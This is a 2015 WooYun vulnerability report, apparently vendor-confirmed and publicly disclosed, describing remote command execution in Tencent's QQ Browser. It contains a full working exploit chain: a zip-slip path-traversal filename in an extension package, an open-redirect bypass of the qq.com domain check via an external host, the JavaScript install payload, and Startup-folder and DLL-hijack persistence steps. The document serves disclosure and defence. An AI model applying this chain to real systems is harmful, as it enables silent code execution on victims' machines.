当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-095664

漏洞标题:QQ浏览器远程任意命令执行漏洞(附有分析和利用)

相关厂商:腾讯

漏洞作者: gainover

提交时间:2015-02-05 14:27

修复时间:2015-05-07 18:00

公开时间:2015-05-07 18:00

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-05: 细节已通知厂商并且等待厂商处理中
2015-02-06: 厂商已经确认,细节仅向厂商公开
2015-02-09: 细节向第三方安全合作伙伴开放
2015-04-02: 细节向核心白帽子及相关领域专家公开
2015-04-12: 细节向普通白帽子公开
2015-04-22: 细节向实习白帽子公开
2015-05-07: 细节向公众公开

简要描述:

嗯,有点意思!

详细说明:

1. 对于QQ浏览器来说,只要是qq.com的域名下的网页,就有权限调用 external下的一些API接口,比如:
安装插件:window.external.extension.installExtension
卸载插件:window.external.getExtension("").uninstallExtension
2. 对于window.external.extension.installExtension,其用法如下:

window.external.extension.installExtension("插件GUID","插件地址","插件版本",回调函数);


一个实例:

window.external.extension.installExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}","http://xxxx.qq.com/AAAAAAAA.qrx","8.0.1.19",function(){
alert("install ok");
});


其中,插件地址要求是qq.com域下的地址方可。
3. 看样子我们似乎可以安装任意插件,然而,QQ的浏览器插件实现,对插件内所调用的JS等含有功能代码的文件均有校验机制,这使得我们无法在插件内打包恶意的JS代码。
4. 然而,QQ浏览器插件(qrx)本身就是一个压缩包,远程安装QQ插件的时候,QQ浏览器会首先解压这个压缩包,然后才是上一步的校验。校验这一步没什么问题,那解压缩这步会不会有问题呢?
5. 于是,我们下载一个QQ浏览器插件,采用7zip打开, 拖入一个calc.exe到压缩包中,

1.png


接着对calc.exe进行重命名:
../../../../../../../../../calc.exe

2.png


相当于我们在压缩包里打包了一个这样路径的文件:C:\Users\用户名\AppData\Roaming\Tencent\QQBrowser\Extensions8\{38D6C77F-66BE-413E-996C-85372DB1A510}\8.0.0.2\../../../../../../../../../calc.exe
6. 我们将改造后的 1.qrx文件和index.php放到我们本地测试服务器(x.com)的根目录下。
/1.qrx
/index.php
其中index.php代码为:

<?php
echo file_get_contents("./1.qrx");
?>


然后我们为了绕过window.external.extension.installExtension中插件URL的域名限制,我们在乌云以前的漏洞里找到了一个302跳转:
http://tixing.qq.com/cgi-bin/jump?url=http://xxx.com/
这个跳转本身的url参数依然存在域名判断限制,但是可以被我们可以轻松的用以下方式绕过。
http://tixing.qq.com/cgi-bin/jump?url=http://x.com?qq.com/
这也是我们最终构造好的插件下载地址:
http://tixing.qq.com/cgi-bin/jump?url=http://x.com?qq.com/
--> 跳转到:
http://x.com?qq.com/
--> 相当于 http://x.com/index.php
--> 读取1.qrx的内容返回
7. 我们随便打开一个QQ的网站,比如 qzs.qq.com/123 (网页不存在没关系)
然后F12打开脚本控制台,运行下面的测试代码(会向C盘根目录写入一个calc.exe):

(function(){
var isWin7=/NT\s+6/.test(navigator.userAgent);
window.external.getExtension("").uninstallExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}",function(){
if(isWin7){
window.external.extension.installExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}","http://tixing.qq.com/cgi-bin/jump?url=http://appmaker.sinaapp.com?.qq.com/1.qrx","8.0.1.19",function(){
alert("demo win7");
});
}else{
//xp
window.external.extension.installExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}","http://tixing.qq.com/cgi-bin/jump?url=http://appmaker.sinaapp.com?.qq.com/1.qrx","8.0.1.19",function(){
alert("demo xp");
});
}
});
})();


效果如下图所示:

3.jpg


可以看到(Win 7 下需关闭UAC), 调用安装插件这个API后,确实在C盘根目录下写入了一个calc.exe文件。
XP下也一样是可以的。

5.jpg


8. 最后,我们要做的事情,就是找一个QQ域下的XSS, 这里我就不找了。因为这个漏洞的重点已经不在找XSS上了。。如果一定要我找一个补上,请留言。

漏洞证明:

1. win7下,关闭UAC的情况下,可以写入启动目录,
calc.exe 重命名为 ../../../../../../../../../ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/calc.exe 即可。
但是XP下,启动目录有中文,这个漏洞,在解压时,无法正常处理中文路径。
2. 但是xp下,可以结合其它小问题来实现命令执行,比如dll劫持。
如果QQ浏览器默认路径安装,
自己创建一个dll,重命名为 ../../../../../../../../../Program Files/Tencent/QQBrowser/setupapi.dll
用户访问恶意构造网页,安装恶意插件包,即会在QQ浏览器所在目录释放一个setupapi.dll,下次浏览器启动时,被劫持,如下图:

4.png

修复方案:

修复插件包安装相关代码。
修复其它一些小问题。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-02-06 17:58

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无